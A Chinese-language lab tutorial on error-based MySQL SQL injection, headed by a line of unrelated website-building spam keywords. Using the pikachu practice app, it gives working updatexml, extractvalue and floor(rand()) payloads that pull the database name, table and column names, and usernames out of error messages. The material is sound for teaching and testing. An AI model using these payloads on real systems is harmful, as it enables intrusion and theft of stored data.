盛泽做网站的,做网站如何写代码,怎么申请微信公众平台账号,博创安泰网站建设常用的用来报错的函数 updatexml() : 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。 extractvalue(): 函数也是MYSQL对XML文档数据进行查询的XPATH函数。 floor(): MYSQL中用来取整的函数。 思路#xff1a;
在MySQL中使用一些指定的函数来制造报错
在MySQL中使用一些指定的函数来制造报错从而从报错信息中获取设定的信息。select / insert / update / delete 都可以使用报错来获取信息。
前提条件是后台没有屏蔽数据库报错信息在语法发生错误时会输出到前端。 updatexml() Updatexm()函数作用: 改变(查找并替换) XML文档中符合条件的节点的值。 语法: UPDATEXML (xml document, XPathstring, new_value)
第一个参数: fiedname是String格式为表中的字段名。 第二个参数: XPathstring (Xpath格式的字符串)。 第三个参数: new. valueString格式替换查找到的符合条件的
Xpath定位必须是有效的否则会发生错误。 pikachu - 字符型注入(GET) 实验
aa and updatexml(1,concat(0x7e,database()),0)#// 0x7e 是 ~ 的十六进制 ,避免报错信息被吃掉
如果没有concat 而是aa and updatexml(1,database(),0)#
这样报错信息会少一部分没法完全展示 获取到了数据库名称 pikachu我们可以把 database() 替换成任意我们想要获得的东西。 得到数据库名称后根据数据库名查询表名 aa and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema pikachu)),0)#
// 中间的select 语句要用() 括号括起来//查询报多于一行
aa and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema pikachu limit 1)),0)# 使用上述语句查到第一张表名继续使用limit 1,1 或 limit 2,1 查询下去可以把所有的表名查询出来 或者burp suite 参数化查询把所有表查出来。 得到表名后可以根据表名查询字段名
aa and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name users limit 0,1)),0)# 得到所有列名。可以根据列名获取数据
aa and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)# extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。 语法: ExtractValue(xm| _document, xpath. string)
第一个参数: XML document是String格式为XML文档对象的名称,文中为Doc 第二个参数: XPath_ string (Xpath格式的字符串)
Xpath定位必须是有效的,否则会发生错误。 打开字符型注入输入payload。
aa and extractvalue(0,concat(0x7e,version()))# 效果差不多理解以此类推即可。 floor()
原因floor()报错注入的原因是 groupby 在向临时表插入数据时由于rand()多次计算导致插入临时表时主键重复从而报错又因为报错前 concat()中的SQL语句或函数被执行所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。
floor()函数对传入的值进行向下取整操作并返回结果如floor(1.999),则返回1
rand()函数返回随机数
rand(x)函数x在这里代表参数当rand()函数有了参数后生成的就是伪随机数什么意思呢比如你使用rand(0)产生的第一个随机数产生的随机数相同也就是当rand(x)这个参数x已知的时候我们就能知道 在字符型中输入payload得到版本号。
aa and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#